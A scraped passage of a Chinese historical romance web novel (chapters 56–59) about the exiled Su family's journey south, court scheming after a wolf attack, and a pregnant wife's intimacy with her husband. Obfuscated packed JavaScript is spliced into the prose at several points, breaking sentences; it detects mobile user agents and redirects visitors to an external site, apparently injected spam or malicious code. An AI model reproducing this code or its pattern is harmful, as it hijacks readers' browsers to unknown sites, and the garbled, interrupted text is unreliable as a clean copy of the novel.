往日和他分到一个帐篷里的弟兄非死即伤,如今这帐篷里空空荡荡的就只有他一人,他实在是睡不着。 且今日,他是那样明显地感受到上过战场的人,和没经历过战争的人的不同来。 且不说苏家人,只和兵部陈阳及他手下的那些人作比。 出发时,兵部来了三十五人,禁军来了五十人,昨晚和今日的死伤很快被他统计出来。 活下来的人数:兵部官兵余下二十五人,禁军侍卫余下二十四人。 其中虽然受了伤但四肢健全没缺胳膊少腿的人数:兵部官兵余下二十一人,禁军侍卫余下十九人。 王虎放下笔,盯着纸上的数字看了许久,直到帐篷外支起充作门铃的栏杆被人敲响。 来人是陈阳。 “死伤惨重……,”陈阳坐下时看到了王虎记录的那张纸,很快移开目光,“接下来我们的人会更加艰难,你有什么看法?” 他压低了声音。 王虎胸中还被白日里各种激荡复杂的情绪冲刷着,脑中也还是方才他记录的一组组对比的数据,一时没能理解陈阳指的是什么。 “什么看法?”他反问。 陈阳便知道他没明白自己说的话。 “我们能用的人不多了。” 陈阳索性也说得直白,“今日你也看到了苏家几位将军的实力。坦白说,即便我们的人全部都还活得好好的,也没受伤,加起来怕也不是他们的对手。” 他这话并非危言耸听。 他们从盛京城走到这如今的大草原,期间和苏家人朝夕相处、几乎是同吃同住了几个月,却是直到今日人狼大战时才看清他们的实力。 陈阳知道苏家的将军们在漠北的名声,听说他们战无不克,带着苏家军所向披靡。 但他没料到,他们之间的差距能到隔着一道天堑的程度。 “我们压制不住他们了。”陈阳叹息。 他双手分别按着两侧在隐隐作痛的颞颥,那是今日激战过后留下的后遗症。“今日暗处的眼睛大部分都现身了,但我们也分不清他们都是谁的人。” 势力太杂且太多了,何况那些人见他们脱了险之后走得那叫干脆利落,一点都不耽搁,他什么也没能瞧出来。 不过,他倒是认为,最先出手相助的十余人里,定然有宣家和林家的人。 而剩下的那些人…… 虽然他们今日也有出手相助,但他觉着,若非是宣家和林家的侍卫率先出手,那些人真有可能看着他们全都死在这里而全程不露面。 “野狼群来得太蹊跷。”陈阳和王虎分析,“今后路上也可能不会太平,我们也得多留心些。” 他寥寥几句话,说的都不是同一件事,王虎一时脑子都有点发懵。 他深吸一口气,强迫自己静下心来,将脑子里的激荡情绪全都清空,反应了好一会儿,才将陈阳过于跳跃的话全部理解透彻。 “你是担心,他们会再次朝他们下手?”他直截了当地问。 两个“他们”,分别指不同的人,他相信陈阳能懂。毕竟,这才是陈阳方才最后那两句话的潜在之意。 陈阳说的是太蹊跷,王虎则是直接给这件事定了性。 这也很能体现出兵部与禁军处事风格的不同来。 陈阳抬眼和他对视。 …… 末了,陈阳终于提起他来这一趟最想说的话来,“今日这事定会传到陛下耳中,你我须得早作准备。” 王虎才松开的眉眼顿时便沉了下去。 夜渐深,帐篷里的烛火渐次熄灭,仅留了帐篷外八个方位的火把,和守夜人面前的火堆。 今夜的虫鸣蛙叫依旧热闹,守夜人面前的火堆偶尔也发出哔剥声,好歹让人不至于深陷在这广袤草原上,迷失自我。 守夜人换班间隙,有两条人影飞快钻进宣文晟的帐篷中,没引起任何人的注意。 “当真是有人故意引那狼群袭击我们的?”宣文晟没有出声,只嘴唇动着。 暗卫颔首,将密密麻麻写满了字迹的纸张递上。 宣文晟接过,很快看完,便顺手塞进怀里。 “我知道了。”他无声地说着。 人影又很快掠出他的帐篷。 不多时,他这座帐篷的门帘又是一动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882745|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宣文晟警惕地抄起防身的匕首,掀开门帘一角,见是苏琯煜,便侧过身让他进来。 “方才有人来过?”苏琯煜小声问。 宣文晟讶异,“你知道?” 这一路跟随着他们的宣家和林家暗卫都是万里挑一的高手,内力轻功都是上乘,他以为方才的动静无人知晓来着。 他们甚至没有出声交谈。 而且,他这帐篷也是经过特殊处理的,烛火照映都无法在上面留下任何人与物的身形,在外面理应看不出里头有多出来的人才是。 苏琯煜只笑笑,“我父亲和几位弟弟也都知道了,只怕引起守夜人的注意,所以就只我一人避开他们到了这里来。” 宣文晟:“……” 居然惊动了这么多人?亏他还以为今夜来人就他一人知晓,还想明日拿出方才收到的消息“吓”他们一跳。 不过他只略想了一下,便明白了,“看来你们的功夫还在他们之上。” 一般人这时候应当会说“有机会想见识一二”,但宣文晟不是一般人,他只希望,不会有他见识到的那一天。 宣槿妤天生直觉灵敏,而他不是。 他是常居安思危,若有万分之一的风险,他第一时间的反应便是去规避掉,而不是迎头直上。 当年他考完举人之后,不顾未明真相的族人阻拦,毅然投身于商海至今,便是因为他这避害的本能。 当然,护送宣槿妤南下这件事不在这个范围内。 “你来看看这个。”宣文晟取出方才塞进怀里的纸张,递给苏琯煜。 这张纸他本是想在明日找个不引人注目的时机交给妹夫苏琯璋的,如今先给他大哥看了,效果大抵上也差不多吧? 苏琯煜一目十行,很快将那纸张递还给宣文晟。 “和小弟想的一样,盛京城里有人坐不住了。”他说。 宣文晟已经将纸张折叠好,正准备塞进怀里,闻言动作一顿,“他猜到了?” 苏琯煜颔首,“昨夜狼袭之后他便想到了。” 宣文晟继续将那纸张往怀里塞,哼了一声。 昨夜就猜到了竟也不和他这个三舅兄说,今天整整一日的时间,他和自己只字未提! 哼!亏他还常在妹妹面前给他说好话,让她少折腾他一点。 他就该放任妹妹折磨他的。 苏琯煜笑,“宣三哥别气,小弟这不是没找到机会和你说?这便让我来了。” 今晨再遭狼袭,场面过于危险混乱,不是说话的好时机。 而过后他们又忙着收拾残局,苏琯璋更是一直在那些伤重的伤员身边守着,以免他们伤势过重再死上一两个,便更没有时间和宣文晟提及这事。 而等到晚间,那些伤员的伤势终于稳定下来,宣槿妤又起了低热——她到底是被吓着了。 怀孕的妇人轻易不能用药,折腾了许久,宣槿妤才退了热。 宣文晟也是见妹妹没事之后才放心回到帐篷里来的。 想了想,苏琯煜补充道:“若你真生气,明日可以揍他一顿。” 反正他小弟抗揍,且这宣家三哥一点武功都不会,拳头揍在苏琯璋身上,就跟挠痒痒差不多。 苏琯煜盘算着。 57. 第 57 章 宣文晟一言难尽地看着他,“他是我妹夫不错,也是你亲弟弟吧?” 有这么坑自己胞弟的么? “这不是宣三哥你气他没及时将猜测告诉你么?”苏琯煜只淡笑着回应。 其实,若非是要看顾着熟睡的宣槿妤,今晚这一趟,本该是由苏琯璋来的。 不过嘛,这话由他这个亲兄长来说,有替他辩解的嫌疑。他就不替自己弟弟开脱了,免得真得罪亲家舅兄。 好在宣文晟也很快想通了,心里的那一丝不爽也散去,言归正传,“你们有什么想法?” 苏家的兵权还掌握在漠北的将领手中,如今战事胶着已经有好几个月,想来龙椅上那位也急了。 只是没料到那位还没动手,倒是旁的人先坐不住了。 不过也情有可原。 眼见着苏家已经消失在天下人的视线中,再不抓紧时间将他们灭掉,等到他们重新出现在百姓眼中,岂非是提醒他们,苏家昔日的战功? “兵部那岳丰尚书倒是会揣度人心。”宣文晟又是一声冷哼。 好几个月了,苏家一行人日日行走在人迹罕至的地方,早就远离了百姓们的视野。 这一安排,不仅龙椅上那位满意,其余有心想将苏家彻底踩进泥里好让自家显露出来的世家,也挺满意的罢? “说起来,这位岳尚书还是你们苏家的旧部。”宣文晟挖苦苏琯煜。 苏琯煜只颔首,脸上仍维持着方才的淡笑。 “笑笑笑,你这笑面虎,收起你的笑。”宣文晟受不了了,这人这么笑,脸真的不会僵么? 和苏家人相处久了,他也算是摸透了他们的性子。 这位苏国公府世子在漠北百姓口中有个美名,叫什么“玉面将军”,但在他看来,不过是一只狡猾的狐狸,还是爱笑的那种。 谁也不知道,他整日里笑眯眯的,私下里会不会早就记了得罪了他的人一笔。 相比起来,他还是更适应他妹夫苏琯璋那样从头到尾一张冷脸的人。 唉,他可真艰难,怎么遇上的都是这样的奇人? 此刻他深深地和宣槿妤共起情来。 翌日,宣文晟找了机会和苏琯璋单独相处了一会儿。 也不知道二人谈了什么,等他们再出现在人前时,苏琯璋依旧是没什么表情的样子;宣文晟则先是一脸的恍惚,而后又是一副如释重负的模样。好似还下定了什么决心。 看得宣槿妤满心的好奇。 只她才退了热,苏琯璋又说她现下再经不起一次惊吓,故而任她再如何撒娇耍赖威胁,二人都死活不肯将谈话内容告诉她。 宣槿妤气鼓鼓地一口咬在苏琯璋那张怎么也撬不开的嘴上,磨了磨牙。 苏琯璋脸上露出了一点笑意——他近来笑的次数,都比他往常一年笑的次数加起来还多了,整个人瞧着便十分鲜活起来。 “日后有机会了我告诉你。”他说着便含住她想要离开的唇,声音开始变得模糊起来,“别生气了,好么?” 盛京城皇宫,即正殿。 “暗中的人果真出手相助了?”新帝盛誉捏着手中的密信,声音有些发冷。 跪在地上的人比了个手势,又点了点头。 “可查出来都是谁家派的人出手的?”盛誉又问,强压着怒气。 可都是他的好臣子,可曾将他这个帝王放在眼里? 那人摆了摆手,同时摇了摇头。 废物。 盛誉手中的玉扳指一下一下扣在案桌上,这是他脾性将要压制不住的征兆,“谁家动的手脚,这总能查到罢?” 那人听着清脆却沉闷的叩击声,额头有冷汗沁出,幸而这个问题他可以给出肯定的答案。 “下去。”盛誉道。 他盯着那人起身离去的身影,眉眼乖戾。 等到即正殿只剩下他一人,伴随着瓷器摔碎的清脆声响,还有他微不可察的声音,“是你们逼我的。是时候动手了。” 他像是自言自语,但很快有人如鬼魅一般从殿中掠出,悄无声息地融入夜色中。 狼袭之事过后三日,从灵峰山脚下庄子外面就开始一直远远跟在他们身后的商队追了过来。 他们十余日前跟着这批人走出了连绵的山脉,在要进入这片大草原时改道离开了。 商队离开不为别的,只为到附近的城镇采买补给,好维持众人的生活所需。如米油盐面茶调料等物,还有从京中寄来的衣物鞋袜等东西,都是他们送来的。 只这群人先前走得实在是太偏了,他们快马加鞭,驾着马车走了五六日才到最近的府城,将所需的东西补齐。 又等了一日,等到了宣府送信和物资的人,才启程追在清风他们留下的记号后面跟了过来。 这不,才追上他们,就听说这群人在狼口逃生的经过,惊出一身冷汗。 “盛京城里有没有消息传过来?”宣文晟问,打断了商队队长喋喋不休的后怕与关心。 “有的。”那人忙取出贴身藏着的密信,恭敬地双手递交给他。 打发走了商队的人,宣文晟便带着密信,去找妹妹宣槿妤去了。 宣槿妤看了信,先是沉默了好一会儿,又掉了片刻眼泪,接着便迫不及待地提笔回信。 她想娘亲和爹爹、外祖父、大哥哥、三嫂嫂……他们了,得知他们的近况,她也得将自己的近况回信告诉他们,以免他们牵肠挂肚。 苏琯璋沉默地站在她身旁替她磨着墨,眸色复杂。 而后,他去看她宽大裙衫也掩藏不住的大肚子,和肚皮上不断鼓起的小包——那是腹中胎儿因兴奋而在伸展着小手小脚。 月份渐大,她腹中的孩子越发活泼,除了喜欢在娘胎里踢手踢脚,偶尔还会来个大转身——这时肚皮翻转出的形状就让人忍不住心惊,担心宣槿妤会不会感到痛和难受。 尽管宣槿妤总是含着笑意捧着她的肚子,说她不痛。 她确实跟着他在吃苦。苏琯璋心想。 虽早已知晓,但他仍像是被这个事实重重一击,心头沉重得像是压了块沉甸甸的大石头,让人难以呼吸。 …… 跨过大草原,他们又过上了进山钻林的日子。 也偶尔有那么几次,陈阳会带着他们往滩涂地带走,这时他们就能吃上美味的海鲜、河鲜或湖鲜。 尤其鲜活的海鲜,这样的食材,放在盛京城中,便是再显赫的人家一年里也不过能吃上那么一两次。 三日前到了这片海域时,可让一群生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889214|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在内陆,甚少尝到或者根本没见过新鲜海鲜的人过足了嘴瘾。 这片海名为“定海”,似乎和自古流传下来的某个仙神传说有关。 也不知道陈阳手中的地图是如何制得的,也不知道他是如何带路的。 也是神奇,这一带照理说应当不缺渔民,但他们在这儿走了三日,竟连一个人影、一条木筏都见不到,遑论大大小小的船只了。 “你们苏家旧部,这兵部尚书岳丰大人真是个鬼才。”这日,宣文晟忍不住又将那日挖苦过苏琯煜的话对着苏琯璋说了一遍。 苏琯璋和他兄长苏琯煜不同,他倒是没有笑,只颔首回道:“他也是真有本事。” 身处盛京城,却能将整个大盛的地图掌握于心。 陈阳凭着他手中的羊皮地图,从带队出了盛京城开始,除了灵峰山附近宣文晟找上他们的那个意外,就真的没有让他们和任何普通百姓有过接触。 这份本事,不是谁都能有的,不愧是朝堂变更也能稳坐兵部尚书之位的人。 “想必很合那位的心意。”宣文晟臭着一张脸,说道。 海鲜的味道很好,清蒸、烧制、烤制、煮汤都是难得的美味。 他们还在退了潮的海滩上捡到不少像是头发一样的植物,听走南闯北见识广博的宣文晟说那叫“发菜”,拿来煮粥、凉拌、煮汤,也别有一番风味。 但海边的味道却有些不大好闻,吹过来的海风都带着一股海水的咸腥气,偶尔会碰到搁浅在岸上的死鱼死虾,被太阳一晒,那味道简直能将人送走。 便是宣槿妤早已过了孕吐的月份,第一回闻见时也忍不住大吐了一回,靠在苏琯璋身上,满眼的泪花儿,瞧着可怜得很。 于是,一行人再启程时,宣文晟带来的侍卫就自觉跟在探路的斥候们身后。 他们并没有探路的本领,也没有要偷学的意思。只是为了清理路上可能遇见的臭鱼烂虾,不让这已经十分不好闻的海腥气中再添加什么足以熏吐人的气味。 他们自己都受不了那些臭味,何况腹中还有一位闹腾小主子的小姐。便是三公子没有吩咐,他们也会去做的。 等他们离开这片定海,时间已经来到九月份,已经是深秋了。 宣槿妤肚子里的孩子已经满八个月了,苏琯璋把完脉后,和她说是个很健康的孩子。 这让身为母亲的宣槿妤十分欣慰。 她这几个月过得并不十分好,路上苏琯璋再体贴,她吃的苦头也是实实在在的。 且前月遭到了狼袭那样的惊吓,她是真的被吓着了,那晚低热过后,连着几日都提不起精神。 直到后来他们远远将那片大草原甩在身后,她才慢慢好起来;却很快又被腥臭的海风熏了好几日,整个人也蔫了下去。 等到他们爬过高高的山峰,钻进蓊郁葱绿的森林中,呼吸着沁人心脾的秋风凉意,她才彻底好了起来,也恢复了精神。 算算路程,他们还有一个月左右就要到达淮招县,这是最初苏琯璋定下南下流放计划时就为宣槿妤选定的生产之地。 他们将在那里停留待产,过年,再重新启程。 至于是南下去往新帝要求的广虚府,还是去别的地方,谁知道呢? 时间还早着。 58. 第 58 章 白隼玉爪腿骨折也还没好,这段时日颇有灵性地陪在她身侧,任由她当宠物似的养着,随她抚摸,头顶的毛羽都顺滑不少。 说起来,这海东青也跟着他们两个月余了,伤势也好得七七八八。每日里吃着他们投喂的肉食,身形都胖了几分,捧在手里沉甸甸的。 “它胖了这么多,”宣槿妤含笑地戳了戳白隼圆滚滚的肚子,“也不知道伤好之后还能不能飞起来。” 说着她想起白隼刚开始跟着他们的时候,“那时候也不知道它被雷劈之前吃了什么,竟大半个月都不用进食。” “哪里像现在。”每日里少它一顿肉都不行,凶得很,还将慕哥儿吓哭过一回。 苏琯璋将剥好的橙子喂到她唇边,宣槿妤十分自然地张嘴吃了。 “我还要那个葡萄。”她指挥道。 葡萄好吃,但是剥皮会沾手,她不想自己动手。 苏琯璋却没有如她的意,只又给她喂了一片橙子,“葡萄你今日已经吃了不少,明日再吃罢!” 宣槿妤松开玉爪,任它单脚一蹦一蹦地挪到它喜欢的角落,她则转身朝向苏琯璋。 “一颗。”她慢吞吞地伸出一根手指,就是方才戳了白隼的那根纤指,上边还沾了凶禽的气息,她的声音却娇气得很。 “我就再吃一颗。”她眼巴巴地和苏琯璋对视着。 还有一个多月两个月她就要生了,腿脚浮肿,一张明艳动人的小脸也圆润了许多,给她增添了几分娇憨。 而她性子比往日更要娇气许多,尤其越发依赖苏琯璋,撒娇不成便要开始胡搅蛮缠,总之定要达到她的目的不可。 “就最后一颗。”宣槿妤眨了眨眼,撅起了嘴。 一刻钟之前,她就是这样和他撒娇的。 苏琯璋方才抵挡不住妻子的娇蛮不讲理,如今也是抵挡不住的。 他叹了口气,又剥了一颗葡萄,喂到她嘴里。 宣槿妤嚼了嚼甜滋滋的葡萄果肉,心满意足地咽了下去。 苏琯璋将放了各色果子的柜子锁好,打湿帕子给宣槿妤擦起手来,将上边的白隼气息一一抹去。 他做惯了这些事,游刃有余的同时也显得清贵无双,全然不像是在做替有孕的妻子擦手这样的小事。 宣槿妤看着他,心里“砰砰”跳了起来,原本不满他收起果子锁了柜子的情绪,也很快消散无踪。 近来不知怎么回事,她对着他这样看惯了的清隽的脸,会生出些让人面红心跳的想法来。 不仅是性子娇了许多,她就连身子也娇了不少。二人之间十分平常的搂搂抱抱,竟也会让她身子发了软。 这些反应她不好意思和苏琯璋说,更不好意思去问婆母或嫂嫂们,只埋在心里,既羞怯又暗自生恼。 苏琯璋习惯地用内力烘干帕子收回怀中,摸了摸宣槿妤有些发红的脸颊,亲了亲她的唇。 “要不要睡一会儿?”他问。 即便宣槿妤不说,作为和她日日亲密的枕边人,苏琯璋哪里察觉不到她身子的变化? 她身子的这些变化,像极了二人昔日频繁欢好过后的模样,身子敏感得不行;他一碰,便能轻易挑起她的反应。 苏琯璋深吸口气,摈弃自己脑中不合时宜的念头。 她已经是孕晚期,快要生了,他也是才知道原来怀了孕的妇人也会有这种需求。这都是医书上没有记载,宣府府医和经验丰富的妇人们没有提到的。 他不知道该如何让她好受些,只知道不能再碰她。 宣槿妤朝他伸出双手,苏琯璋将她揽入怀中,“可是又难受了?” 他竟知道? 宣槿妤惊讶地瞪圆了眼睛,加上她那张明显比以前丰润许多的脸庞,显得整个人越发圆了,可爱得让他险些控制不住自己。 惊讶过后,宣槿妤便有些难为情。 以往二人在一起时,都是这个男人主动,她甚少有主动撩拨他的时候。 没料到,孩子月份这般大了,她竟会出现这样让人害羞的变化。 “别多想。”苏琯璋近来已经很能明白她在想些什么,亲了亲她的额头,“这只是正常的孕期反应。”他安慰道。 宣槿妤双手被他从他背后反扣住,双双十指交缠着,亲密无间。 “我来想办法让你别那么难受。”苏琯璋压低了声音,头低了下来。 他有办法? 宣槿妤抬头看他,正好方便了他的动作,她很快沉浸在他温柔缠绵的吻中。 暧昧旖旎的气息弥散在马车里。 车厢门牢牢关着,车窗也仅开了一条缝。 有秋风裹挟着秋日丰收的果实香气溜进来,流连一会儿,见没引起这对缠绵已久的夫妻的注意,很快又滑着车窗的缝隙溜了出去。 不知过了多久,苏琯璋慢慢松开宣槿妤。 他凝视着她嫣红带着媚意的小脸,又亲了亲她微微红肿的唇瓣,抚摸着她的背,替她平复着呼吸。 等她呼吸平顺下来,他目光又在她潋滟还未聚焦的双眸、和掩不住媚态风情的眉目中流连了一会儿,才伸手去拿柜子边上的水囊。 煮滚后倒入水囊里的水如今温度正适合,带着热气却不会让人觉得烫。 苏琯璋喂宣槿妤喝了几口水。 “好些了吗?”他用手擦拭着她唇边因为喝得急而不小心沾到的水珠。 许是才亲密过,宣槿妤莫名觉得他的动作里带上了几分勾人的意味。 她又喝了几口水,将水囊推开,“好多了。”她小声答道。 掩藏在裙子下的双腿再没有任何贴身下裳的遮挡,其间还残存着些许湿润,有些黏腻。她不自在地想要将它们合拢,却被他的双腿阻拦。 “等我替你擦拭干净。”苏琯璋声音哑了几分,低低地道。他双腿还在牢牢卡住她,既是在替她挡风也是在桎梏她的动作。 宣槿妤觉得脸上又烫了起来。 苏琯璋又取过一个干净的水囊,就要将温热的水倒在帕子上。 宣槿妤急声道:“别拿这帕子。”虽然急切,但她也没忘记压低声音,生怕被此时在前室驱赶马车的侍卫听见。 苏琯璋身上就只贴身藏了一块帕子,就是三年前宣槿妤送他的那块。 过去三年,他只将它贴身藏着,只偶尔出公差或宣槿妤生气回娘家了他才会拿出来看看,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893630|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来没用过。 只被流放之后,他身上就只有它料子足够柔软,不会伤到宣槿妤细嫩的肌肤。 而这帕子这几个月以来已经被他用了无数次,若非料子极佳、绣它的人也用了十分的心思,早就开始磨损了,哪里还能像如今这般柔软依旧。 苏琯璋动作一顿。 他再没有多余的帕子了。 宣槿妤忍着羞意将自己的帕子递给他,“用这块。” 她送他的帕子,常被他用来替她擦脸擦手,偶尔他顺手的时候也给他自己擦。 但如今要用来擦那样的地方,哪里能用同一块? 苏琯璋便将方才的帕子重新收好,将水倒在宣槿妤自己的帕子上,拧得半干,才去擦宣槿妤双腿。 宣槿妤觉得自己脸上要冒烟了。 连月来都是他替自己清洗擦干身子和换衣裳,但她都坦荡得很,远没有眼下这般觉得羞于见他。 她还是被方才的事和身子残存的些许余韵影响了。 苏琯璋伸手探进她散落在他膝上的襦裙里,不知碰到了哪里,宣槿妤险些忍不住叫出声来,紧紧咬住自己的下唇。 “别咬。”苏琯璋嗓子低哑得不像话,倾身吻她,手中的动作未停。 宣槿妤紧闭着眼,不敢看他,只呼吸明显加快了许多。 等到他替自己换了一身衣裳,推开车窗,让清凉的秋风吹进车厢,散去满室的旖旎之后,她才慢慢松了一口气。 她将头埋在他怀里,听着他和自己一般都有些急促的心跳声,慢慢散着脸上的热度。 她好像有点不顾他的死活了。宣槿妤想。 他身上的体温升高得如此明显,二人相贴的地方他的反应也如此强烈,她却仍旧紧紧贴着他。 但是他也不曾放开紧搂着她肩膀的那双手。 他能替她解决她的需求,却控制不住自己的本能反应。 苏琯璋低头在宣槿妤发上亲了亲,闭上眼睛,任由那漫山遍野的野果香气扑了他满面。 宣槿妤捧着肚子,慢吞吞地走在平坦的山路上。 她身形纤细,眼下从背面也看不出是有孕的妇人。只若从正面去看,那高高隆起的肚子就有些吓人,像是揣了一只圆滚滚的大西瓜。 除了苏家人和一个宣文晟,旁的人都不大敢靠近她了。 生怕一不小心碰着她,就会将她肚子摔破,露出里边红通通的瓜瓤来。 越想越吓人。 他们今夜会在这个山坳里过夜。 未免受到凉气,他们还找了空地搭了帐篷。 周遭的野物已经被驱赶了,四周也撒上了驱虫蛇的药粉——这一路的草药着实丰富,苏琯璋每日里偶尔捡上那么几株,也制得了不少药粉和药丸子。 如今他身上,贴身收着的药瓶子还不少。 也不知道他是如何放的,宣槿妤日日和他亲密相拥或依偎,也没有察觉到有被硌着。 只每次露宿荒野时都能见他从衣裳里掏出各种药瓶子来,沿着他们住的帐篷周围的缝隙撒上一圈药粉——这是防止外面的药粉不奏效而溜进来的“漏网之鱼”的。 瞧着也有趣极了。 59. 第 59 章 深秋时节,山里的果树果实累累。置身于这山坳里,仿佛四面八方都有香甜的果香传来,着实诱人。 “光吃果子都能吃饱了。”陈阳爬上高处,望着那压弯了枝条的各色果子,忍不住感叹。 这几日,真有人忍不住只吃果子饱腹,一口饭一口野味都没吃,惹得众人哭笑不得。 “还是葡萄好吃。”宣槿妤站在一棵梨树下,对苏琯璋这样说。 苏琯璋看着她,眼里含着笑意,说出的话却十分气人,“再好吃,今日的葡萄份额也没有了。” 宣槿妤撅着嘴,有些不乐意。 苏琯璋看了看四周,见没有人注意他们,俯身在她脸上飞快亲了一口,“今日真的不能再吃了。” 宣槿妤用头作锤,“嘭嘭”地捶着他的胸膛。 自打那日山洞那样让她尴尬生气的一幕过后,她便不大喜欢咬他了,爱上了这样头捶他的动作。 她头不重,反正也不会弄疼他,她还挺喜欢听这样“嘭嘭嘭”的撞击声的。 “当心捶多了妹夫内伤。”宣文晟有一日这样对宣槿妤说道,担心她真的将自己夫君搞出个内伤来,那样他就没办法再继续任劳任怨妥贴地照顾她了。 宣槿妤闻言消停了许久,直到今日又忍不住开始捶他。 “槿妤,真不行。”苏琯璋抱住她的头抬起来,他则微微俯身,让自己的视线和她对视,“梨子也挺甜的,吃一口,嗯?” 他说着就要伸手去摘梨子,但被宣槿妤拦住了。 她的口腹之欲没能得到满足,虽然抓住了他的手,但依旧不乐意地撅着嘴,不想搭理他。 周围人又太多了,她不好胡搅蛮缠,免得旁人以为她宣家姑娘不讲道理,且馋嘴贪吃。 宣槿妤正想着要如何让苏琯璋松口,便被他打横抱了起来,走到无人的角落。 “怎么了?”她环顾四周,没看到旁人的身影,自己的视线也被层层叶片所阻挡。 苏琯璋将她小心地放在地上,伸手搂住她的肩,侧身揽住她——如今二人不能面对面抱着了,隔着一个大肚子,他只能这样抱她。 “葡萄不能吃,”他说着俯身吻她,轻轻磨着她柔软的唇瓣,“那吃我也行。” 宣槿妤瞪圆了眼睛,难以置信地看他,她都听到了什么? 她微微张着唇,正想问他是不是受了什么刺激,便被他趁虚而入,撬开了唇舌。 回去的路上,宣槿妤很安静,被苏琯璋牵着,仍在想着他方才惊人的话语。 这个男人果真变了许多,油嘴滑舌到,她都有些不大敢认他了。 是我折腾得过分了么? 临睡前,宣槿妤难得反思。 但翌日,她又将临睡时暗自定下的少折腾他的计划抛之脑后。 果子的香气伴随他们走了一路。 白隼此前好得七七八八的伤势渐渐开始有了很明显的好转,它开始振翅飞翔,只是飞得还不是很高。 入冬的第一个月,白隼玉爪的伤势已然全好,一日它冲上蓝天翱翔盘旋了几圈,就再也没回来。 宣槿妤盼了好几日,仍未等到它的身影,便知道它是寻到了它的自由。 到底还是惆怅的。 但这时,她的身子已经快要满九个月了,最早这个月,最晚下个月,她就要生了。 陈阳王虎他们此前只是不敢靠近她,如今连走路时都不敢从她身旁经过,只恨不得离她越远越好。 其余官兵和禁军也是如此。 宣槿妤的肚子也是他们这些人一天天看着大起来的,只是到了这个时候,他们也还是会惊叹。 身形纤细窈窕的姑娘,肚皮这样被肚子里的孩子撑得高高鼓起,总让人担心会不会将她肚皮撑破。 只是,都到了这样的时候,这宣家小少夫人竟还是美得让人惊叹。 孕晚期带来的浮肿丝毫没有影响她的美貌,反而像是替她褪去了昔日眉眼间残存的少女稚气,变得越发明艳大方起来。 只是,这样的想法,也只是在远远地瞧见这位少夫人慢慢走过来的时候,才短暂出现在脑海中。 因为早在他们借宿灵峰山附近的废庙时,有人试图冒犯这位少夫人的那个清晨,苏琯璋抬眼看过来的那个眼神,至今仍让他们心有余悸。 何况,和苏家人朝夕相处的这半年,足以让他们深刻意识到,苏家这位昔日小少将军、半年前的大理寺少卿,他可不是什么好招惹的人物。 文能断案武能领兵,竟还不知道从哪里习得的一身医术。 端看这小公子这半年来制出的那些药丸子和各色不明用途的药粉,胆敢觊觎他的夫人,可别到头来是怎么死的都不知道,更有可能牵连身后的家人。 这可还没有算上宣家、林家和苏家其余人呢! 故而再没人敢生出什么不该有的心思来。 宣槿妤可不知道旁人心里是如何看她的,她正难受得很。 再是美人,也逃不脱孕晚期的各色症状,她如今耻骨和胯部都疼得厉害,坐着疼、站着疼、躺着也疼,总是就是疼。 她现在也不大爱走路了,因为走路也会疼,常疼得她眼泪汪汪的。 疼得狠了,她抓着苏琯璋的手,修剪得圆润的指甲也能将他的手背上的肌肤扎破,留下一道道血痕。 这种情况下,白隼离去带来的惆怅哪里还顾得上去想,很快被她抛之脑后。 只半个月之后,他们才翻过横亘大半个府城的连绵群山,从一座矮山下面经过,忽然见一个白色的庞然大物,在极速朝他们飞来。 等到它近了,人们才发现那是一只雪白的羊羔。 再往上看,抓着它的是一只纯白色的凶禽——矛隼。宣槿妤认出来,正是先前他们救下的那只白隼玉爪。 宣槿妤抬头去看它,正见它也歪着头朝着她这个方向看来,眼神还带着未来得及褪去的凶戾和桀骜。 视线和她对上后,白隼的眼神很明显地就开始变得温和起来。 它又飞得近了些,离地面已经很近了,宣槿妤看到它将爪子松开。 没有了桎梏,羊羔重重地砸在地上,落在地上厚厚的枯黄叶片上,发出“嘭”的一声闷响。 它连个挣扎都没有,无声无息地躺在落叶上,显然是早已经死透了。 被这动静吸引过来的一群人已经开始议论起来: “这是之前跟着我们的那只白隼?” “是它,你看它那眼神没错的。” “它是从哪里抓的羊?不会是别人养的吧?” “应该不是,瞧着像是只野羊。我们前几日还在山里抓过一只,你看是不是长得差不多?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 